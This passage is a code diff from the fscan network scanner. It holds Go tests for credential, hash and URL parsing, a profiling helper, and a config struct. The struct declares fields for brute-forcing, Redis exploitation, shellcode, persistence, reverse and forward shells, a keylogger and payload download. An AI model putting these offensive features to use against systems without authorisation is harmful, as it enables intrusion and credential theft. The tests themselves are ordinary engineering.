|
||||||
|
if len(defaultSSHUsers) == 1 && defaultSSHUsers[0] == "custom-user" {
|
||||||
|
t.Fatal("BuildConfig mutated DefaultUserDict")
|
||||||
|
}
|
||||||
|
|
||||||
|
cfg.Credentials.Userdict["ssh"][0] = "mutated-user"
|
||||||
|
if fscanconfig.DefaultUserDict["ssh"][0] == "mutated-user" {
|
||||||
|
t.Fatal("Config userdict shares backing storage with DefaultUserDict")
|
||||||
|
}
|
||||||
|
|
||||||
|
cfg.Credentials.Passwords[0] = "mutated-password"
|
||||||
|
if fscanconfig.DefaultPasswords[0] == "mutated-password" {
|
||||||
|
t.Fatal("Config passwords share backing storage with DefaultPasswords")
|
||||||
|
}
|
||||||
|
|
||||||
|
port := 80
|
||||||
|
cfg.PortMap[port][0] = "mutated-probe"
|
||||||
|
if fscanconfig.DefaultPortMap[port][0] == "mutated-probe" {
|
||||||
|
t.Fatal("Config port map shares backing storage with DefaultPortMap")
|
||||||
|
}
|
||||||
|
|
||||||
|
cfg.DefaultMap[0] = "mutated-default-probe"
|
||||||
|
if fscanconfig.DefaultProbeMap[0] == "mutated-default-probe" {
|
||||||
|
t.Fatal("Config default map shares backing storage with DefaultProbeMap")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseUserPassPairsKeepsAdditionalCredentialFlags(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
fv *FlagVars
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "additional passwords",
|
||||||
|
fv: &FlagVars{
|
||||||
|
Username: "root",
|
||||||
|
Password: "primary",
|
||||||
|
AddPasswords: "extra",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "additional users",
|
||||||
|
fv: &FlagVars{
|
||||||
|
Username: "root",
|
||||||
|
Password: "primary",
|
||||||
|
AddUsers: "admin",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
pairs, err := parseUserPassPairs(tt.fv)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseUserPassPairs error = %v", err)
|
||||||
|
}
|
||||||
|
if len(pairs) != 0 {
|
||||||
|
t.Fatalf("parseUserPassPairs returned exact pairs %#v; additional credential flags would be ignored", pairs)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNewConfigDefaultsAreIndependentCopies(t *testing.T) {
|
||||||
|
cfg := NewConfig()
|
||||||
|
|
||||||
|
cfg.Credentials.Userdict["ssh"][0] = "mutated-user"
|
||||||
|
if fscanconfig.DefaultUserDict["ssh"][0] == "mutated-user" {
|
||||||
|
t.Fatal("NewConfig userdict shares backing storage with DefaultUserDict")
|
||||||
|
}
|
||||||
|
|
||||||
|
cfg.Credentials.Passwords[0] = "mutated-password"
|
||||||
|
if fscanconfig.DefaultPasswords[0] == "mutated-password" {
|
||||||
|
t.Fatal("NewConfig passwords share backing storage with DefaultPasswords")
|
||||||
|
}
|
||||||
|
|
||||||
|
port := 80
|
||||||
|
cfg.PortMap[port][0] = "mutated-probe"
|
||||||
|
if fscanconfig.DefaultPortMap[port][0] == "mutated-probe" {
|
||||||
|
t.Fatal("NewConfig port map shares backing storage with DefaultPortMap")
|
||||||
|
}
|
||||||
|
|
||||||
|
cfg.DefaultMap[0] = "mutated-default-probe"
|
||||||
|
if fscanconfig.DefaultProbeMap[0] == "mutated-default-probe" {
|
||||||
|
t.Fatal("NewConfig default map shares backing storage with DefaultProbeMap")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseTargetsHostPortDoesNotLeaveSyntheticHost(t *testing.T) {
|
||||||
|
fv := &FlagVars{Ports: "22"}
|
||||||
|
info := &HostInfo{Host: "127.0.0.1:8080"}
|
||||||
|
cfg := BuildConfigFromFlags(fv)
|
||||||
|
state := NewState()
|
||||||
|
|
||||||
|
if err := parseTargets(fv, info, cfg, state); err != nil {
|
||||||
|
t.Fatalf("parseTargets error = %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if info.Host != "" {
|
||||||
|
t.Fatalf("info.Host = %q, want empty after host:port extraction", info.Host)
|
||||||
|
}
|
||||||
|
if got := state.GetHostPorts(); !reflect.DeepEqual(got, []string{"127.0.0.1:8080"}) {
|
||||||
|
t.Fatalf("hostPorts = %#v, want host:port target", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNormalizeURLKeepsUppercaseScheme(t *testing.T) {
|
||||||
|
got := normalizeURL("HTTPS://example.com")
|
||||||
|
if got != "HTTPS://example.com" {
|
||||||
|
t.Fatalf("normalizeURL() = %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNormalizeURLBracketsIPv6Literals(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
in string
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{name: "bare ipv6 without scheme", in: "2001:db8::1", want: "http://[2001:db8::1]"},
|
||||||
|
{name: "bracketed ipv6 without scheme", in: "[2001:db8::1]", want: "http://[2001:db8::1]"},
|
||||||
|
{name: "bare ipv6 with scheme", in: "http://2001:db8::1", want: "http://[2001:db8::1]"},
|
||||||
|
{name: "bare ipv6 path without scheme", in: "2001:db8::1/admin", want: "http://[2001:db8::1]/admin"},
|
||||||
|
{name: "bare ipv6 query without scheme", in: "2001:db8::1?debug=1", want: "http://[2001:db8::1]?debug=1"},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
if got := normalizeURL(tt.in); got != tt.want {
|
||||||
|
t.Fatalf("normalizeURL(%q) = %q, want %q", tt.in, got, tt.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestModuleTimeout 测试模块超时计算
|
||||||
|
func TestModuleTimeout(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
timeout time.Duration
|
||||||
|
want time.Duration
|
||||||
|
}{
|
||||||
|
{"超时大于下限", 10 * time.Second, 10 * time.Second},
|
||||||
|
{"超时等于下限", 3 * time.Second, 3 * time.Second},
|
||||||
|
{"超时小于下限", 1 * time.Second, 3 * time.Second},
|
||||||
|
{"零超时", 0, 3 * time.Second},
|
||||||
|
{"负超时", -1 * time.Second, 3 * time.Second},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
cfg := NewConfig()
|
||||||
|
cfg.Timeout = tt.timeout
|
||||||
|
got := cfg.ModuleTimeout()
|
||||||
|
if got != tt.want {
|
||||||
|
t.Errorf("ModuleTimeout() = %v, want %v", got, tt.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestParseUserPassPairsExactMatch 测试精确单用户单密码路径
|
||||||
|
func TestParseUserPassPairsExactMatch(t *testing.T) {
|
||||||
|
fv := &FlagVars{
|
||||||
|
Username: "admin",
|
||||||
|
Password: "secret",
|
||||||
|
}
|
||||||
|
pairs, err := parseUserPassPairs(fv)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseUserPassPairs error = %v", err)
|
||||||
|
}
|
||||||
|
if len(pairs) != 1 {
|
||||||
|
t.Fatalf("期望 1 个 pair, 实际 %d", len(pairs))
|
||||||
|
}
|
||||||
|
if pairs[0].Username != "admin" || pairs[0].Password != "secret" {
|
||||||
|
t.Errorf("pair = %+v, want {admin secret}", pairs[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestParseUserPassPairsMultiUserSkips 测试多用户时不生成精确 pair
|
||||||
|
func TestParseUserPassPairsMultiUserSkips(t *testing.T) {
|
||||||
|
fv := &FlagVars{
|
||||||
|
Username: "admin,root",
|
||||||
|
Password: "pass",
|
||||||
|
}
|
||||||
|
pairs, err := parseUserPassPairs(fv)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseUserPassPairs error = %v", err)
|
||||||
|
}
|
||||||
|
if len(pairs) != 0 {
|
||||||
|
t.Fatalf("多用户场景不应生成精确 pair, 实际 %d 个", len(pairs))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestParseURLsEmpty 测试空输入返回空列表
|
||||||
|
func TestParseURLsEmpty(t *testing.T) {
|
||||||
|
fv := &FlagVars{}
|
||||||
|
urls, err := parseURLs(fv)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseURLs error = %v", err)
|
||||||
|
}
|
||||||
|
if len(urls) != 0 {
|
||||||
|
t.Fatalf("空输入应返回空 url 列表, 实际 %v", urls)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestParseURLsCommaSeparated 测试逗号分隔多 URL
|
||||||
|
func TestParseURLsCommaSeparated(t *testing.T) {
|
||||||
|
fv := &FlagVars{
|
||||||
|
TargetURL: "http://a.com,http://b.com,http://a.com", // 含重复
|
||||||
|
}
|
||||||
|
urls, err := parseURLs(fv)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseURLs error = %v", err)
|
||||||
|
}
|
||||||
|
if len(urls) != 2 {
|
||||||
|
t.Fatalf("去重后应有 2 个 url, 实际 %d: %v", len(urls), urls)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestParseURLsMissingFile 测试缺失文件返回错误
|
||||||
|
func TestParseURLsMissingFile(t *testing.T) {
|
||||||
|
fv := &FlagVars{URLsFile: "nonexistent-urls.txt"}
|
||||||
|
_, err := parseURLs(fv)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("缺失文件应返回错误")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// parseHashes
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
// TestParseHashesEmpty 空输入返回空结果
|
||||||
|
func TestParseHashesEmpty(t *testing.T) {
|
||||||
|
fv := &FlagVars{}
|
||||||
|
vals, bytes, err := parseHashes(fv)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseHashes error = %v", err)
|
||||||
|
}
|
||||||
|
if len(vals) != 0 || len(bytes) != 0 {
|
||||||
|
t.Fatalf("空输入应返回空结果, vals=%v bytes=%v", vals, bytes)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestParseHashesValidNTLM 纯 32 字符 hex hash
|
||||||
|
func TestParseHashesValidNTLM(t *testing.T) {
|
||||||
|
hash := "aabbccddeeff00112233445566778899"
|
||||||
|
fv := &FlagVars{HashValue: hash}
|
||||||
|
vals, hashBytes, err := parseHashes(fv)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseHashes error = %v", err)
|
||||||
|
}
|
||||||
|
if len(vals) != 1 || vals[0] != hash {
|
||||||
|
t.Fatalf("vals = %v, want [%s]", vals, hash)
|
||||||
|
}
|
||||||
|
if len(hashBytes) != 1 || len(hashBytes[0]) != 16 {
|
||||||
|
t.Fatalf("hashBytes length wrong: %v", hashBytes)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestParseHashesLMNTFormat LM:NT 格式,提取 NT 部分
|
||||||
|
func TestParseHashesLMNTFormat(t *testing.T) {
|
||||||
|
lm := "aad3b435b51404eeaad3b435b51404ee"
|
||||||
|
nt := "31d6cfe0d16ae931b73c59d7e0c089c0"
|
||||||
|
fv := &FlagVars{HashValue: lm + ":" + nt}
|
||||||
|
vals, _, err := parseHashes(fv)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseHashes error = %v", err)
|
||||||
|
}
|
||||||
|
if len(vals) != 1 || vals[0] != nt {
|
||||||
|
t.Fatalf("vals = %v, want [%s]", vals, nt)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestParseHashesInvalidLength hash 长度不是 32 → error
|
||||||
|
func TestParseHashesInvalidLength(t *testing.T) {
|
||||||
|
fv := &FlagVars{HashValue: "tooshort"}
|
||||||
|
_, _, err := parseHashes(fv)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("hash 长度不足应返回错误")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestParseHashesInvalidHex 32 字符但含非 hex 字符 → error
|
||||||
|
func TestParseHashesInvalidHex(t *testing.T) {
|
||||||
|
fv := &FlagVars{HashValue: "zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz"}
|
||||||
|
_, _, err := parseHashes(fv)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("非 hex 字符应返回错误")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestParseHashesMissingFile hash 文件不存在 → error
|
||||||
|
func TestParseHashesMissingFile(t *testing.T) {
|
||||||
|
fv := &FlagVars{HashFile: "nonexistent-hashes.txt"}
|
||||||
|
_, _, err := parseHashes(fv)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("缺失 hash 文件应返回错误")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// parseUsernames
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
// TestParseUsernamesEmpty 空输入返回空结果
|
||||||
|
func TestParseUsernamesEmpty(t *testing.T) {
|
||||||
|
fv := &FlagVars{}
|
||||||
|
got, err := parseUsernames(fv)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseUsernames error = %v", err)
|
||||||
|
}
|
||||||
|
if len(got) != 0 {
|
||||||
|
t.Fatalf("空输入应返回空, got %v", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestParseUsernamesCommaSeparated 逗号分隔多用户
|
||||||
|
func TestParseUsernamesCommaSeparated(t *testing.T) {
|
||||||
|
fv := &FlagVars{Username: "admin, root, admin"} // 含重复和空格
|
||||||
|
got, err := parseUsernames(fv)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseUsernames error = %v", err)
|
||||||
|
}
|
||||||
|
want := []string{"admin", "root"}
|
||||||
|
if !reflect.DeepEqual(got, want) {
|
||||||
|
t.Fatalf("got %v, want %v", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestParseUsernamesAddUsers AddUsers 追加去重
|
||||||
|
func TestParseUsernamesAddUsers(t *testing.T) {
|
||||||
|
fv := &FlagVars{
|
||||||
|
Username: "admin",
|
||||||
|
AddUsers: "root,admin", // admin 重复
|
||||||
|
}
|
||||||
|
got, err := parseUsernames(fv)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseUsernames error = %v", err)
|
||||||
|
}
|
||||||
|
want := []string{"admin", "root"}
|
||||||
|
if !reflect.DeepEqual(got, want) {
|
||||||
|
t.Fatalf("got %v, want %v", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestParseUsernamesMissingFile 缺失用户文件 → error
|
||||||
|
func TestParseUsernamesMissingFile(t *testing.T) {
|
||||||
|
fv := &FlagVars{UsersFile: "nonexistent-users.txt"}
|
||||||
|
_, err := parseUsernames(fv)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("缺失用户文件应返回错误")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// cloneStringSlice
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
// TestCloneStringSliceNil nil 输入返回 nil
|
||||||
|
func TestCloneStringSliceNil(t *testing.T) {
|
||||||
|
got := cloneStringSlice(nil)
|
||||||
|
if got != nil {
|
||||||
|
t.Fatalf("nil 输入应返回 nil, got %v", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestCloneStringSliceEmpty 空切片:append 无元素结果为 nil,len 为 0
|
||||||
|
func TestCloneStringSliceEmpty(t *testing.T) {
|
||||||
|
got := cloneStringSlice([]string{})
|
||||||
|
if len(got) != 0 {
|
||||||
|
t.Fatalf("got len %d, want 0", len(got))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestCloneStringSliceCopiesValues 正常切片:值正确且独立
|
||||||
|
func TestCloneStringSliceCopiesValues(t *testing.T) {
|
||||||
|
src := []string{"a", "b", "c"}
|
||||||
|
got := cloneStringSlice(src)
|
||||||
|
if !reflect.DeepEqual(got, src) {
|
||||||
|
t.Fatalf("got %v, want %v", got, src)
|
||||||
|
}
|
||||||
|
// 修改 clone 不影响原始
|
||||||
|
got[0] = "mutated"
|
||||||
|
if src[0] != "a" {
|
||||||
|
t.Fatal("cloneStringSlice 返回的切片与源共享底层数组")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,243 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
/*
|
||||||
|
config_struct.go - 配置结构体定义
|
||||||
|
|
||||||
|
简化后的结构:
|
||||||
|
- 高频字段平铺到顶层
|
||||||
|
- 子配置使用值类型(非指针)
|
||||||
|
- 删除过度分类的 AdvancedConfig
|
||||||
|
*/
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// Config - 扫描器配置
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// Config 扫描器完整配置 - 初始化后只读,可安全共享
|
||||||
|
type Config struct {
|
||||||
|
// 高频访问字段 - 平铺到顶层
|
||||||
|
Timeout time.Duration // 通用超时
|
||||||
|
TimeoutExplicit bool // 用户显式指定了 -time
|
||||||
|
ThreadNum int // 主线程数
|
||||||
|
ThreadCeiling int // 线程数上限(自适应池允许的最大值)
|
||||||
|
ThreadNumExplicit bool // 用户显式指定了 -t
|
||||||
|
ModuleThreadNum int // 模块线程数
|
||||||
|
ModuleThreadNumExplicit bool // 用户显式指定了 -mt
|
||||||
|
DisableBrute bool // 禁用暴力破解
|
||||||
|
DisablePing bool // 禁用Ping检测
|
||||||
|
DisableTcpProbe bool // 禁用TCP补充探测
|
||||||
|
DisableSubnetProbe bool // 禁用网段预筛
|
||||||
|
|
||||||
|
// 扫描模式
|
||||||
|
Mode string // 扫描模式
|
||||||
|
LocalMode bool // 本地模式
|
||||||
|
LocalPlugin string // 本地插件名
|
||||||
|
AliveOnly bool // 仅存活检测
|
||||||
|
MaxRetries int // 最大重试次数
|
||||||
|
MaxRetriesExplicit bool // 用户显式指定了 -retry
|
||||||
|
DetectedNetworkEnv int // 探测到的网络环境(来自 core.NetworkEnv)
|
||||||
|
|
||||||
|
// 高级功能(从AdvancedConfig合并)
|
||||||
|
Shellcode string // Shellcode
|
||||||
|
LocalPluginsList []string // 本地插件列表
|
||||||
|
DNSLog bool // DNSLog检测
|
||||||
|
PersistenceTargetFile string // 持久化目标文件
|
||||||
|
WinPEFile string // WinPE文件
|
||||||
|
PortMap map[int][]string // 端口映射
|
||||||
|
DefaultMap []string // 默认映射
|
||||||
|
|
||||||
|
// 分组配置 - 值类型
|
||||||
|
Credentials CredentialConfig
|
||||||
|
Network NetworkConfig
|
||||||
|
Output OutputConfig
|
||||||
|
POC POCConfig
|
||||||
|
Redis RedisConfig
|
||||||
|
HTTP HTTPConfig
|
||||||
|
LocalExploit LocalExploitConfig
|
||||||
|
Target TargetConfig // 扫描目标配置
|
||||||
|
|
||||||
|
// 全局超时
|
||||||
|
GlobalTimeout time.Duration
|
||||||
|
GlobalTimeoutExplicit bool
|
||||||
|
|
||||||
|
// SOCKS5代理端口配置
|
||||||
|
Socks5ProxyPort int // SOCKS5代理端口
|
||||||
|
}
|
||||||
|
|
||||||
|
// TargetConfig 扫描目标配置
|
||||||
|
type TargetConfig struct {
|
||||||
|
Ports string // 端口范围字符串
|
||||||
|
ExcludePorts string // 排除端口字符串
|
||||||
|
}
|
||||||
|
|
||||||
|
// CredentialConfig 认证相关配置
|
||||||
|
type CredentialConfig struct {
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
Domain string
|
||||||
|
Userdict map[string][]string
|
||||||
|
Passwords []string
|
||||||
|
UserPassPairs []config.CredentialPair
|
||||||
|
HashValues []string
|
||||||
|
HashBytes [][]byte
|
||||||
|
SSHKeyPath string
|
||||||
|
}
|
||||||
|
|
||||||
|
// NetworkConfig 网络相关配置
|
||||||
|
type NetworkConfig struct {
|
||||||
|
HTTPProxy string
|
||||||
|
Socks5Proxy string
|
||||||
|
Iface string
|
||||||
|
WebTimeout time.Duration
|
||||||
|
MaxRedirects int
|
||||||
|
PacketRateLimit int64
|
||||||
|
MaxPacketCount int64
|
||||||
|
ICMPRate float64
|
||||||
|
ICMPRateExplicit bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// OutputConfig 输出相关配置
|
||||||
|
type OutputConfig struct {
|
||||||
|
File string
|
||||||
|
Format string
|
||||||
|
DisableSave bool
|
||||||
|
NoColor bool
|
||||||
|
Silent bool
|
||||||
|
DisableProgress bool
|
||||||
|
ShowProgress bool
|
||||||
|
LogLevel string
|
||||||
|
Language string
|
||||||
|
PerfStats bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// POCConfig POC扫描相关配置
|
||||||
|
type POCConfig struct {
|
||||||
|
PocPath string // POC路径
|
||||||
|
PocName string // 指定POC名称
|
||||||
|
Full bool // 完整POC扫描
|
||||||
|
Num int // POC并发数
|
||||||
|
NumExplicit bool // 用户显式指定了 -num
|
||||||
|
Disabled bool // 禁用POC扫描
|
||||||
|
}
|
||||||
|
|
||||||
|
// RedisConfig Redis利用相关配置
|
||||||
|
type RedisConfig struct {
|
||||||
|
Disabled bool // 禁用Redis利用
|
||||||
|
File string // SSH密钥文件
|
||||||
|
Shell string // 反弹Shell地址
|
||||||
|
WritePath string // 写入路径
|
||||||
|
WriteContent string // 写入内容
|
||||||
|
WriteFile string // 本地文件路径
|
||||||
|
}
|
||||||
|
|
||||||
|
// HTTPConfig HTTP请求相关配置
|
||||||
|
type HTTPConfig struct {
|
||||||
|
Cookie string // Cookie
|
||||||
|
UserAgent string // User-Agent
|
||||||
|
Accept string // Accept头
|
||||||
|
}
|
||||||
|
|
||||||
|
// LocalExploitConfig 本地利用相关配置
|
||||||
|
type LocalExploitConfig struct {
|
||||||
|
ReverseShellTarget string // 反弹Shell目标
|
||||||
|
ForwardShellPort int // 正向Shell端口
|
||||||
|
KeyloggerOutputFile string // 键盘记录输出文件
|
||||||
|
DownloadURL string // 下载URL
|
||||||
|
DownloadSavePath string // 下载保存路径
|
||||||
|
}
|
||||||
|
|
||||||
|
func cloneStringSlice(values []string) []string {
|
||||||
|
if values == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return append([]string(nil), values...)
|
||||||
|
}
|
||||||
|
|
||||||
|
func cloneStringSliceMap(values map[string][]string) map[string][]string {
|
||||||
|
if values == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
cloned := make(map[string][]string, len(values))
|
||||||
|
for key, value := range values {
|
||||||
|
cloned[key] = cloneStringSlice(value)
|
||||||
|
}
|
||||||
|
return cloned
|
||||||
|
}
|
||||||
|
|
||||||
|
func clonePortMap(values map[int][]string) map[int][]string {
|
||||||
|
if values == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
cloned := make(map[int][]string, len(values))
|
||||||
|
for key, value := range values {
|
||||||
|
cloned[key] = cloneStringSlice(value)
|
||||||
|
}
|
||||||
|
return cloned
|
||||||
|
}
|
||||||
|
|
||||||
|
const minModuleTimeout = 3 * time.Second
|
||||||
|
|
||||||
|
// ModuleTimeout 返回插件级超时(用于弱口令测试、服务交互等多轮协议)
|
||||||
|
// 保证下限 3s,避免自适应把端口扫描超时压低后影响 SSH/SNMP 等交互型协议
|
||||||
|
func (c *Config) ModuleTimeout() time.Duration {
|
||||||
|
if c.Timeout >= minModuleTimeout {
|
||||||
|
return c.Timeout
|
||||||
|
}
|
||||||
|
return minModuleTimeout
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewConfig 创建带默认值的Config(后备用,正常流程使用BuildConfigFromFlags)
|
||||||
|
func NewConfig() *Config {
|
||||||
|
return &Config{
|
||||||
|
// 高频字段 - 使用默认常量
|
||||||
|
Timeout: time.Duration(DefaultTimeout) * time.Second,
|
||||||
|
ThreadNum: DefaultThreadNum,
|
||||||
|
ThreadCeiling: DefaultThreadNum,
|
||||||
|
ModuleThreadNum: 10,
|
||||||
|
DisableBrute: false,
|
||||||
|
DisablePing: false,
|
||||||
|
DisableTcpProbe: false,
|
||||||
|
DisableSubnetProbe: false,
|
||||||
|
|
||||||
|
// 扫描模式
|
||||||
|
Mode: DefaultScanMode,
|
||||||
|
LocalMode: false,
|
||||||
|
AliveOnly: false,
|
||||||
|
MaxRetries: 3,
|
||||||
|
|
||||||
|
// 高级功能 - 使用默认配置
|
||||||
|
PortMap: clonePortMap(config.DefaultPortMap),
|
||||||
|
DefaultMap: cloneStringSlice(config.DefaultProbeMap),
|
||||||
|
|
||||||
|
// 分组配置 - 使用默认字典
|
||||||
|
Credentials: CredentialConfig{
|
||||||
|
Userdict: cloneStringSliceMap(config.DefaultUserDict),
|
||||||
|
Passwords: cloneStringSlice(config.DefaultPasswords),
|
||||||
|
UserPassPairs: nil,
|
||||||
|
},
|
||||||
|
Network: NetworkConfig{
|
||||||
|
WebTimeout: time.Duration(5) * time.Second,
|
||||||
|
MaxRedirects: 10,
|
||||||
|
ICMPRate: 0.1,
|
||||||
|
},
|
||||||
|
Output: OutputConfig{
|
||||||
|
File: "result.txt",
|
||||||
|
Format: "txt",
|
||||||
|
ShowProgress: true,
|
||||||
|
LogLevel: DefaultLogLevel,
|
||||||
|
Language: DefaultLanguage,
|
||||||
|
},
|
||||||
|
POC: POCConfig{
|
||||||
|
Num: 20,
|
||||||
|
},
|
||||||
|
LocalExploit: LocalExploitConfig{
|
||||||
|
ForwardShellPort: 4444,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,102 @@
|
|||||||
|
//go:build debug
|
||||||
|
// +build debug
|
||||||
|
|
||||||
|
package debug
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"runtime"
|
||||||
|
"runtime/pprof"
|
||||||
|
"runtime/trace"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/i18n"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
cpuProfile *os.File
|
||||||
|
traceFile *os.File
|
||||||
|
profilesPath = "./profiles"
|
||||||
|
)
|
||||||
|
|
||||||
|
func Start() {
|
||||||
|
if err := os.MkdirAll(profilesPath, 0755); err != nil {
|
||||||
|
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_profiles_failed", err))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var err error
|
||||||
|
cpuProfile, err = os.Create(profilesPath + "/cpu.prof")
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_cpu_profile_failed", err))
|
||||||
|
} else {
|
||||||
|
if err := pprof.StartCPUProfile(cpuProfile); err != nil {
|
||||||
|
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_start_cpu_profile_failed", err))
|
||||||
|
cpuProfile.Close()
|
||||||
|
cpuProfile = nil
|
||||||
|
} else {
|
||||||
|
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_cpu_profile_started", profilesPath))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
traceFile, err = os.Create(profilesPath + "/trace.out")
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_trace_failed", err))
|
||||||
|
} else {
|
||||||
|
if err := trace.Start(traceFile); err != nil {
|
||||||
|
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_start_trace_failed", err))
|
||||||
|
traceFile.Close()
|
||||||
|
traceFile = nil
|
||||||
|
} else {
|
||||||
|
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_trace_started", profilesPath))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_profiling_started", profilesPath))
|
||||||
|
}
|
||||||
|
|
||||||
|
func Stop() {
|
||||||
|
if cpuProfile != nil {
|
||||||
|
pprof.StopCPUProfile()
|
||||||
|
cpuProfile.Close()
|
||||||
|
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_cpu_profile_saved"))
|
||||||
|
}
|
||||||
|
|
||||||
|
if traceFile != nil {
|
||||||
|
trace.Stop()
|
||||||
|
traceFile.Close()
|
||||||
|
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_trace_saved"))
|
||||||
|
}
|
||||||
|
|
||||||
|
memProfile, err := os.Create(profilesPath + "/mem.prof")
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_mem_profile_failed", err))
|
||||||
|
} else {
|
||||||
|
runtime.GC()
|
||||||
|
if err := pprof.WriteHeapProfile(memProfile); err != nil {
|
||||||
|
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_write_mem_profile_failed", err))
|
||||||
|
} else {
|
||||||
|
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_mem_profile_saved", profilesPath))
|
||||||
|
}
|
||||||
|
memProfile.Close()
|
